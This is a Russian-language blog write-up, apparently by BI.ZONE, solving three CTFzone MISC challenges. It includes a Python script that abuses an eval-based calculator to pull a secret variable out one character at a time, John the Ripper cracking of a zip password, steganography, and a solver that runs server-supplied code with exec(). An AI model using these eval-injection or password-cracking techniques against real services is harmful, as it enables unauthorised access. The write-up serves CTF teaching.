CTFzone write-ups — MISC it all up

в 13:39, , рубрики: bizone, ctf, ctfzone, zeronights, Блог компании BI.ZONE, информационная безопасность

image

Друзья, по сложившейся за последний месяц традиции мы предлагаем вам начать новую неделю с нового райтапа. В этом посте мы подробно разберем задания из направления MISC, куда вошли все задания, не подходящие ни под какую другую категорию. Тут был нужен особенный креатив ;)

Ветка MISC нашла отклик в душе наших игроков — за время соревнований мы получили около 300 флагов. Заметим, что из всех тасков на 1000, задание из этой категории было наиболее популярным — над ним ломали голову многие, но успеха достигли всего несколько человек. Поэтому мы решили пропустить задания на 50 и 100 очков и сразу перейти к более сложным и интересным заданиям. Поехали!

MISC_300. Lithium|Beta

A.U.R.O.R.A.: Lieutenant Friend, seems like this computer is frozen and we don’t have time to fix it. So from now on we have only this calculator interface (nc). I have to admit that your predecessor Lieutenant Petr was a very lazy developer (no idea how he managed to get on this ship) and he failed to complete Compiler Design course. So he wrote calculator in the easiest way using the simplest tools. I know that it’s quite complicated but you have to hurry, we haven’t got much time!

Решение:

Запускаем программу и видим, что это обычный калькулятор.

image

Как следует из легенды, эту программу писал ленивый разработчик. Скорее всего, это свидетельствует о том, что вместо парсинга математических выражений используется простой eval.

Как видно на скриншоте, есть вывод названий ошибок, но без трейсов:

image

Судя по ошибкам, в ответ отдается результат, приведенный к типу float. Если результат привести нельзя, то возникает ValueError. Если нет такой функции, то NameError.

Попробуем выяснить список доступных функций методом перебора.

image

При этом все попытки использовать underscore, например, class, не работают из-за HackingAttempt.
Но, используя ord и str, можно вычислить любую переменную, например, результат dir, который возвращает список всех доступных имен в окружении.

Код бруттера:

#!/usr/bin/python2
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("95.85.41.197", 8888))

print s.recv(1024)

result = ''
for i in range(0, 300):
  request = "ord(str(dir())[%d])" % i
 # request = "ord(verysecretflag[%d])" % i
  s.send(request)
  response = s.recv(32)
  if 'Err' in response or 'occurred' in response:
    result += '_'
  else:
    result += chr(int(response.split(': ')[1].split('.')[0]))
print result

В результате перебора получается следующий список:

['HackingAttempt', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'e', 'f', 'inp', 'print1337', 're', 'regex', 'sys', 'verysecretflag']

Флаг лежит в переменной verysecretflag. Print, он переименован в print1337
Чтобы получить ответ, следует сделать вот так:

image

Вот и наш флаг!

Ответ: ctfzone{123456}

MISC_500. Archive maniac

A.U.R.O.R.A.: Oh God! Lieutenant, I need you here on the ship control station. Autopilot is broken and we need a secret code to switch to manual control. Only our pilot Chekhov knows it and he is dead drunk, so you have to figure it out. I noticed that he was concerned about storage efficiency and confidentiality. And he also preferred number 32 to 64 with no obvious reason.

Решение:

В этом задании участнику предлагается найти секретный код, однако сложность заключается в том, что этот ключ зашифрован. К сожалению, тот, кто обладает информацией, в ближайшие сутки ничего вразумительного сказать не сможет… Мы знаем, что он старался обеспечить надежное хранение и конфиденциальность, а также почему-то и предпочитал число 32 вместо 64. Попробуем разобраться.

Для начала посмотрим на наши исходные данные. В самом задании дается ссылка на архив arch.tar.gz, в котором содержатся следующие файлы:

Файлы архива

[briskly@archlinux tmp]$ tar -xvf arch.tar.gz 
archive/
archive/flag3.png
archive/flag9.png
archive/flag7.png
archive/flag6.png
archive/flag2.png
archive/flag4.png
archive/flag5.png
archive/flag0.png
archive/flag1.png
archive/flag8.png
archive/.gitkeep
[briskly@archlinux tmp]$ file archive/*
archive/flag0.png: cpio archive
archive/flag1.png: bzip2 compressed data, block size = 900k
archive/flag2.png: bzip2 compressed data, block size = 900k
archive/flag3.png: compress'd data 16 bits
archive/flag4.png: LRZIP compressed data - version 0.6
archive/flag5.png: rzip compressed data - version 2.1 (370344 bytes)
archive/flag6.png: compress'd data 16 bits
archive/flag7.png: Zip archive data
archive/flag8.png: ARJ archive data, v11, slash-switched, original name: , os: Unix
archive/flag9.png: cpio archive

Похоже, что в архиве 10 файлов с расширением .png, но при этом каждый файл является архивом. Судя по листингу файлов, архивы очень разные. Пришло время учиться пользоваться экзотикой.

Пожалуй, начнем:

[briskly@archlinux archive]$ bzip2 -d flag1.png
bzip2: Can't guess original name for flag1.png -- using flag1.png.out
[briskly@archlinux archive]$ file flag1.png.out 
flag1.png.out: LRZIP compressed data - version 0.6

Похоже, что в этих архивах находятся другие архивы. Пробуем расшифровать zip файл. 7z сразу попросил пароль:

[briskly@archlinux archive]$ 7z x flag7.png
7-Zip [64] 16.02: Copyright (c) 1999-2016 Igor Pavlov: 2016-05-21
p7zip Version 16.02 (locale=ru_RU.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz (406E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 385755 bytes (377 KiB)

Extracting archive: flag7.png
--
Path = flag7.png
Type = zip
Physical Size = 385755

Enter password (will not be echoed):

В данном случае стоит автоматизировать процесс извлечения из архива, поскольку их очень много:

Извлекаем из архива

#!/bin/bash

FILE="$1"
FLAG="flag.png"
TMP_DIR="PNGs"

# Dirty:
[ ! -d "./$TMP_DIR" ] && mkdir "$TMP_DIR" && echo -e "n [+] Creating temp folder: $TMP_DIR."
[ ! -f "./$FLAG" ] && cp $FILE flag.png && echo -e " [+] Creating temp file: $FLAG.n"

deArch () {
    CHECK=`file "$FLAG"`

    if [[ $CHECK == *"rzip compressed data"* ]]
    then
        echo -e " [*] Now $FLAG is RZIP data (.rz)n [+] Extracting $FLAGn"
        mv flag.png{,.rz}
        runzip -d flag.png.rz
        #rm flag.png.rz
        sleep 1
        deArch

    elif [[ $CHECK == *"LRZIP compressed data"* ]]
    then
        echo -e " [*] Now $FLAG is LRZIP archive (.lrz)n [+] Extracting $FLAGn"
        mv flag.png{,.lrz}
        lrunzip flag.png.lrz > /dev/null
        rm flag.png.lrz
        sleep 1
        deArch

    elif [[ $CHECK == *"bzip2 compressed data"* ]]
    then
        echo -e " [*] Now $FLAG is BZIP file (.bz2)n [+] Extracting $FLAGn"
        mv flag.png{,.bz2}
        bzip2 -d flag.png.bz2 #> /dev/null
        sleep 1
        deArch

    elif [[ $CHECK == *"compress'd data 16 bits"* ]]
    then
        echo -e " [*] Now $FLAG is unix compressed file (.z)n [+] Extracting $FLAGn"
        mv flag.png{,.z}
        uncompress flag.png.z
        sleep 1
        deArch

    elif [[ $CHECK == *"7-zip archive data"* ]]
    then
        echo -e " [*] Now $FLAG is 7-ZIP archive (.7z)n [+] Extracting $FLAGn"
        mv flag.png{,.7z}
        7z x flag.png.7z > /dev/null
        rm flag.png.7z
        sleep 1
        deArch

    elif [[ $CHECK == *"ARJ archive data, v11, slash-switched"* ]]
    then
        echo -e " [*] Now $FLAG is ARJ archive (.arj)n [+] Extracting $FLAGn"
        mv flag.png{,.arj}
        arj x flag.png.arj > /dev/null
        rm flag.png.arj
        sleep 1
        deArch

    elif [[ $CHECK == *"cpio archive"* ]]
    then
        echo -e " [*] Now $FLAG is CPIO archive (.cpio)n [+] Extracting $FLAGn"
        mv flag.png{,.cpio}
        cpio -idv < flag.png.cpio 2> /dev/null
        rm flag.png.cpio
        sleep 1
        deArch

    elif [[ $CHECK == *"current ar archive"* ]]
    then
        echo -e " [*] Now $FLAG is AR archive (.a)n [+] Extracting $FLAGn"
        mv flag.png{,.a}
        ar x flag.png.a
        rm flag.png.a
        sleep 1
        deArch

    elif [[ $CHECK == *"Zip archive data"* ]]
    then
        echo -e " [*] Now $FLAG is zip archive (.zip)n [+] Extracting $FLAGn"
        mv flag.png{,.zip}
        #mv flag.png{,.7z}

        ENC_CHCK=`7z l -slt -- flag.png.zip | grep -ic "Encrypted = +"`
        if [ "$ENC_CHCK" -eq "1" ]
        then
            #exit 1
            echo " [!] PASSWORD pretocted archive"
            zip2john flag.png.zip | awk -F: '{print $2}' > hash.lst
            rm -rf /root/.john/john.*
            #ZIP_PASS=`john hash.lst 2>&1 > /dev/null | awk '/(?)/ {print $1}'`
            ZIP_PASS=`john hash.lst --wordlist=/usr/share/wordlists/rockyou.txt 2>&1 | awk '/(?)/ {print $1}'`

            if [[ -z "$ZIP_PASS" ]]
            then
                #echo -e "$ZIP_PASS"
                echo -e " [-] Your pass was not found, please, try it manually..."
            else
                echo -e " [+] Voila! Your pass is: e[1;33m$ZIP_PASSe[0;0m, extracting an archive...n"
                7z x -p"$ZIP_PASS" flag.png.zip > /dev/null
                rm flag.png.zip
                sleep 1
                deArch
            fi
        else
            7z x flag.png.zip
            sleep 1
            deArch
        fi

        #sleep 1
        #deArch

    elif [[ $CHECK == *"PNG image data"* ]]
    then
        echo -e " [e[1;32m*e[0;0m] Now $FLAG is PNG image file !!!n [e[1;32m+e[0;0m] Open this: ./$TMP_DIR/$FILEn"
        sleep 1
        #eog flag.png 2> /dev/null
        mv $FLAG $TMP_DIR/$FILE
        exit 0

    else
        echo -e "n [-] Hernya! $CHECK"
    fi
}

deArch

Результат работы скрипта:

Результат

bash deArch.sh flag4.png 

 [+] Creating temp folder: PNGs.
 [+] Creating temp file: flag.png.

 [*] Now flag.png is ARJ archive (.arj)
 [+] Extracting flag.png

 [*] Now flag.png is zip archive (.zip)
 [+] Extracting flag.png

 [!] PASSWORD pretocted archive
 [+] Voila! Your pass is: love123, extracting an archive...

 [*] Now flag.png is unix compressed file (.z)
 [+] Extracting flag.png

 [*] Now flag.png is AR archive (.a)
 [+] Extracting flag.png

 [*] Now flag.png is BZIP file (.bz2)
 [+] Extracting flag.png

 [*] Now flag.png is CPIO archive (.cpio)
 [+] Extracting flag.png

 [*] Now flag.png is RZIP data (.rz)
 [+] Extracting flag.png

 [*] Now flag.png is 7-ZIP archive (.7z)
 [+] Extracting flag.png

 [*] Now flag.png is LRZIP archive (.lrz)
 [+] Extracting flag.png

 [*] Now flag.png is PNG image file !!!
 [+] Open this: ./PNGs/flag4.png

В результате из файла вытаскивается flag4.png

image

Итак, получена картинка! Посмотрим, что внутри – может быть, там есть стеганография?
Для этого запустим Stegsolve, и, изменив некоторые настройки, получим что-то вполне разборчивое:

image

Судя по знакам =, это похоже на base64. Но все буквы заглавные (uppercase). Вспомним легенду, где сказано, что тот человек, который обладал знаниями, предпочитал число 32. Попробуем base32, в результате чего получаем TPAU'XAPDEP.

Выполняем те же действия по отношению к остальным файлам.

В итоге получаем следующее:

thisnotaflag
thisisflag,joke
noflaghere
noo000000op
CTFZONE{5dbb39d62d31b1c
notflagagain
flagwashere
025f3b0e3a987d375}part2
kakoyflag?
TPAU'XAPDEP

Вот и наш флаг!

Ответ: ctfzone{5dbb39d62d31b1c025f3b0e3a987d375}part2

MISC_1000. Molibden|Gamma

A.U.R.O.R.A.: Lieutenant, you’ve got to the command center. It’s time to go home and join our comrades! Wait, something is wrong with the systems. Some basic libraries are lost. Computer can't find the route. You need to help computer make some simple calculations. Quick, we are almost there!

Решение:

Итак, мы практически у цели! Чтобы получить управление кораблем, необходимо исправить ошибку в системе.

Итак, запускаем программу. Пример работы программы мы видим на скриншоте.

image

Из легенды понятно, что нам нужно интерпретировать код, который присылает сервер. Для получения решения придется показать свои навыки программирования.

Так как код написан на Python, то первое очевидное решение – это сделать exec и отправить его результат обратно. Код будет выглядеть следующим образом:

from socket import create_connection
from time import time

sock = create_connection(("95.85.41.197", 8887))

for i in range(10):
    res = None
    code = sock.recv(102400)
    code = code.decode()
    code = "n".join(code.split("n")[:-2])
    if "gone wrong" in code:
        print(code)
        exit(0)

    start = time()
    l = res = None

    print(code)
    exec(code)
    res = res or l

    print(time() - start)
    code = None

    res = str(res).encode()
    try:
        sock.send(res + b"n")
    except Exception:
        print(sock.recv(102400))
        print(sock.recv(102400))
        print(sock.recv(102400))
        break

После этого приходит код со sleep, который тормозит исполнение:

from time import sleep

k = 96
s = 36
c = 98

mas = []

for i in range(c):
    sleep(0.1)
    mas.append(s)
    s += k

res = 0

for el in mas:
    sleep(0.1)
    res += el

print(res)

Эта проблема решается просто вырезанием sleep по регулярке. Например, вот так:

code = code.replace("sleep(0.1)", "")

Следующее усложнение заключается в том, что sleep переименовывается при импорте:

from time import sleep as JecYvyk

В данном случае можно написать регулярку или просто сделать replace:

code = code.replace("sleep", "gmtime")

В следующий раз решение останавливается на шаге с кодом, в котором используются большие числа:

from time import gmtime as rluVx

k = 82194181
s = 55474764
c = 54888629

mas = []

for i in range(c):
    rluVx(2*0.01)
    mas.append(s)
    s += k

res = 0

for el in mas:
    rluVx(2*0.01)
    res += el

print(res)

На данном этапе программа не выполняется по двум причинам — либо заканчивается память, либо сервер выдает ошибку:

Something gone wrong: TimeoutError

Очевидно, что просто решить данную задачу не получится, придется разбираться в коде. При первой оценке кода можно заметить, что это очень похоже на сумму арифметической прогрессии.

Так как функция написана действительно неэффективно, то вместо обычного подсчета линейной формулой, формируется массив со всеми элементами арифметической прогрессии, а потом складывается. Напишем эту формулу:

def solve(k, s, c):
    return str((2*s + k*(c-1))*c//2)

Выглядит она довольно просто.

Следующая проблема заключается в том, что перестает успевать выполняться код:

from time import sleep as Rkyv
from random import shuffle

l = [5984807, 6299947, 10119240, 13578507, 14224900, 15238270, 15513380, 16429758]

while True:
    Rkyv(0o10*0.01)
    shuffle(l)
    prev = None
    is_sorted = True
    for el in l:
        Rkyv(0o10*0.01)
        if prev is None:
            prev = el
        elif prev >= el:
            is_sorted = False
            break
        prev = el
    if is_sorted:
        break
print(l)

Придется разобраться и с этой задачей. Очень похоже на monkey_sort, но, судя по всему, этот код выполнить невозможно. Перепишем на обычный sort, который предоставляет нам Python. Но и этого оказывается недостаточно.

В результате наступает момент, когда обычный exec перестает успевать считать 'страшный' обфусцированный код:

Страшный обфусцированный код

from time import sleep as EB

s = b'Vtxe9xe9xedx05JxdaEQ'

def func3(s):
    def func1(OOOOOOOOO0000OOO0 ):
        ""
        PI_SUBST =[41 ,46 ,67 ,201 ,162 ,216 ,124 ,1 ,61 ,54 ,84 ,161 ,236 ,240 ,6 ,19 ,98 ,167 ,5 ,243 ,192 ,199 ,115 ,140 ,152 ,147 ,43 ,217 ,188 ,76 ,130 ,202 ,30 ,155 ,87 ,60 ,253 ,212 ,224 ,22 ,103 ,66 ,111 ,24 ,138 ,23 ,229 ,18 ,190 ,78 ,196 ,214 ,218 ,158 ,222 ,73 ,160 ,251 ,245 ,142 ,187 ,47 ,238 ,122 ,169 ,104 ,121 ,145 ,21 ,178 ,7 ,63 ,148 ,194 ,16 ,137 ,11 ,34 ,95 ,33 ,128 ,127 ,93 ,154 ,90 ,144 ,50 ,39 ,53 ,62 ,204 ,231 ,191 ,247 ,151 ,3 ,255 ,25 ,48 ,179 ,72 ,165 ,181 ,209 ,215 ,94 ,146 ,42 ,172 ,86 ,170 ,198 ,79 ,184 ,56 ,210 ,150 ,164 ,125 ,182 ,118 ,252 ,107 ,226 ,156 ,116 ,4 ,241 ,69 ,157 ,112 ,89 ,100 ,113 ,135 ,32 ,134 ,91 ,207 ,101 ,230 ,45 ,168 ,2 ,27 ,96 ,37 ,173 ,174 ,176 ,185 ,246 ,28 ,70 ,97 ,105 ,52 ,64 ,126 ,15 ,85 ,71 ,163 ,35 ,221 ,81 ,175 ,58 ,195 ,92 ,249 ,206 ,186 ,197 ,234 ,38 ,44 ,83 ,13 ,110 ,133 ,40 ,132 ,9 ,211 ,223 ,205 ,244 ,65 ,129 ,77 ,82 ,106 ,220 ,55 ,200 ,108 ,193 ,171 ,250 ,36 ,225 ,123 ,8 ,12 ,189 ,177 ,74 ,120 ,136 ,149 ,139 ,227 ,99 ,232 ,109 ,233 ,203 ,213 ,254 ,59 ,0 ,29 ,57 ,242 ,239 ,183 ,14 ,102 ,88 ,208 ,228 ,166 ,119 ,114 ,248 ,235 ,117 ,75 ,10 ,49 ,68 ,80 ,180 ,143 ,237 ,31 ,26 ,219 ,153 ,141 ,51 ,159 ,17 ,131 ,20 ]
        O00OOOO0OOOO00000 =OOOOOOOOO0000OOO0 
        OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )
        O00OOOO0OOOO00000 +=chr (16 -(OO00OO000OO0OO000 %16 )).encode ("utf-8")*(16 -(OO00OO000OO0OO000 %16 ))
        O00OOOO0O0OOO00O0 =O00OOOO0OOOO00000 
        OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )
        OOOOO0O0000000OO0 =bytearray (b"x00"*16 )
        OO0O0O000OOOO0O0O =0 
        for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):
            EB(0x3*0.01)
            for OO00O00OOO000OO00 in range (16 ):
                EB(0x3*0.01)
                O0O0OOOO000O0OO0O =O00OOOO0O0OOO00O0 [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]
                OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]=OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]^PI_SUBST [O0O0OOOO000O0OO0O ^OO0O0O000OOOO0O0O ]
                OO0O0O000OOOO0O0O =OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]

        OO0OOO00OOO00000O =O00OOOO0O0OOO00O0 +OOOOO0O0000000OO0 
        OO00OO000OO0OO000 +=16 
        OOO00O00O0O0O0OO0 =bytearray ([0 ])*48 
        for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):
            for OO00O00OOO000OO00 in range (16 ):
                EB(0x3*0.01)
                OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]=OO0OOO00OOO00000O [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]
                OOO00O00O0O0O0OO0 [32 +OO00O00OOO000OO00 ]=OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]^OOO00O00O0O0O0OO0 [OO00O00OOO000OO00 ]
            OOOO0O0OO000000OO =0 
            for OO00O00OOO000OO00 in range (18 ):
                EB(0x3*0.01)
                for OOOO00O00OOO0OOOO in range (48 ):
                    EB(0x3*0.01)
                    OOOO0O0OO000000OO =OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]=OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]^PI_SUBST [OOOO0O0OO000000OO ]
                OOOO0O0OO000000OO =(OOOO0O0OO000000OO +OO00O00OOO000OO00 )%256 
        return bytes (OOO00O00O0O0O0OO0 [:16 ])

    OO0OOOO00OO0O0O0O = b'Vtxe9xe9xedx05JxdaEQ'

    def func2(OO0OOOO00OO0O0O0O):
        O00O00OO000OOO00O ='0123456789abcdef'
        return b''.join(map(lambda x: x.encode(), map(lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O ))))

    for i in range(100):
        OO0OOOO00OO0O0O0O = func2(OO0OOOO00OO0O0O0O)
    return OO0OOOO00OO0O0O0O.decode()

    #print(''.join (map (lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O ))))
res = func3(s)
print(res)

В ходе небольшой деобфускации становится понятно, что скорее всего это какая-то хеш функция, которая последовательно применяется 100 раз. Далее пройти можно двумя способами: либо просто переписать данную функцию на чем-то более быстром (например, C++), либо попробовать поискать таблицу замен, которая захардкожена в коде.

Попробуем погуглить:

image

Достаточно легко догадаться, что это md2. В PYCRYPTO есть быстрая реализация этой функции:

from Crypto.Hash import MD2

def solve(inp):
    for i in range(params.get("count")):
        h = MD2.new()
        h.update(inp)
        inp = h.hexdigest()
    return inp

Результирующий код solver:

Код solver

import re
import json
from socket import create_connection
from solves import md2
from solves import arifmetic
from time import time

sock = create_connection(("95.85.41.197", 8887))

r1 = re.compile(r"l = ([.*])")
r21 = re.compile(r"OO0OOOO00OO0O0O0O = (b('|").*('|"))n")
r22 = re.compile(r"    for i in range((d+)):")
r3 = re.compile(r".*k = (?P<k>d+)ns = (?P<s>d+)nc = (?P<c>d+).*")

def solve1(code):
    reverse = True
    if ">" in code:
        reverse = False
    code = code.split("while True:")[0]
    lst = r1.findall(code)[0]
    lst = json.loads(lst)
    lst.sort(reverse=reverse)
    return lst

def solve2(code):
    data = eval((r21.findall(code))[0][0])
    count = int(r22.findall(code)[0])
    res = md2.solve({"string": data, "count": count})
    return res

def solve3(code):
    for m in r3.finditer(code):
        print (arifmetic.solve({k: int(v) for k, v in m.groupdict().items()}))
        return arifmetic.solve({k: int(v) for k, v in m.groupdict().items()})

while True:
    res = None
    code = sock.recv(102400)
    code = code.decode()
    code = "n".join(code.split("n")[:-2])
    code = code.replace("sleep(0.1)", "")
    if "gone wrong" in code:
        print(code)
        exit(0)

    start = time()
    if "shuffle" in code:
        res = solve1(code)
    elif "OO0OOOO00OO0O0O0O" in code:
        res = solve2(code)
    elif "mas.append" in code:
        res = solve3(code)
    else:
        print("EXECING")
        print(code)
        exec(code)
        print(sock.recv(102400))
        print(sock.recv(102400))
        print(sock.recv(102400))
        print(sock.recv(102400))
        exit(0)
    print(time()-start)
    code = None

    res = str(res).encode()
    try:
        sock.send(res + b"n")
    except Exception:
        print(sock.recv(102400))
        print(sock.recv(102400))
        break

В результате получаем долгожданный флаг!

image

Ответ: ctfzone{YouRealyHaveSoMuchTime?}

Кстати, по вашим многочисленным просьбам мы выложили оффлайн задания – теперь поиграться с райтапами можно на этом портале. Но не забывайте про наши задания по хайрингу, они будут доступны еще 10 дней до 15.12 – время еще есть!

Если у вас остались какие-то вопросы – оставляйте комментарии и пишите в наш чат в Telegram. Ничего так не вдохновляет, как ваша активность :)

Всем добра и удачи!

Автор: BI.ZONE

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js